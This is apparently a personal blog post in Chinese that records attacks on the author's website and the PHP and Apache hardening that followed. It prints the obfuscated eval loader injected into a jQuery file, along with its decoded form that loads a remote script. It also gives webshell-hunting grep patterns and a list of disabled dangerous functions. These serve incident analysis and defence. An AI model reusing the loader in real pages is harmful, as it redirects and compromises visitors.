这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。常见的 WEB 攻击包括 XSS 攻击、SQL 注入、DDOS、CRFS 等,为了提高网站安全性能,最近特意对网站做了安全维护,属予作文以记之。
攻击记录
有一次黑客在首页引入的 jQuery-1.8.0.js 中写入一行 js 代码,
1
2
3
4var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv- fnnfkd`crk-bnl.robncd.iptdqx-
ir[!=;.rbqhos=!(:";
var length=str.length;var ba64="";for(i=0;i<length;i++){var
s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64);翻译后是
1
document.write ("\<script src="http://www.googleadsl.com/spcode/jquery.js"></script>")
导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。
还有一次是文件内容被篡改。被攻击那天早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录,
stat filename
发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。在有一次就是黑客上传文件到特定目录下
木马查杀
快速木马查找命令
1
2
3grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html/
grep -r --include=*.php '[^a-z]eval($_' /var/www
grep -r --include=*.php 'file_put_contents(.*$_POST\[.*\]);' /var/www/html/利用find mtime查找最近两天或者发现木马的这几天,有哪些PHP文件被修改
1
find -mtime -2 -type f -name \*.php
PHP 安全防范
确保运行 PHP 的用户为一般用户,如 www
禁用 PHP 危险函数
1
2
3
4
5
6
7
8disable_functions = passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,phpinfo #禁用的函数
expose_php = off #避信免暴露PHP息
display_errors = off
enable_dl = off
allow_url_include = off
session.cookie_httponly = 1
upload_tmp_dir = /tmp改变 PHP 文件的权限:644
1
2
3chmod 644 -R ./
find ./ -type d -print|xargs chmod 755;
chown -R apache:apache ./关闭上传目录的 PHP 执行权限
1
2
3
4
5
6
7
8
9<Directory "/home/www/upload/">
php_flag engine off # 关闭 PHP 执行引擎
<filesmatch "(.*)php"> # 匹配以 PHP 结尾的文件,设置权限
Order deny,allow
Deny from all # 全部不解析
Allow from localhost # 允许例外:
Allow from 127.0.0.1 # 允许的例外
</filesmatch>
</Directory>
Apache 安全
更改 Apache 的用户为一般用户,如 apache,注意存放数据目录权限为 apache
1
2User apache
Group apache禁用 -Indexes
1
Options -Indexes FollowSymLinks
如果目录下没有 index.* 文件则 403 错误而不是列出目录下的文件。
启用 mod_security 模块防止 SQL 注入
安装:1
yum install mod_security
httpd.conf 中引入 mod_security.conf
设置 HTTP 头信息防止 XSS 攻击
1
2
3<IfModule mod_headers.c>
Header set X-XSS-Protection "1; mode=block"
</IfModule>mod_evasive20 防止 DDOS 攻击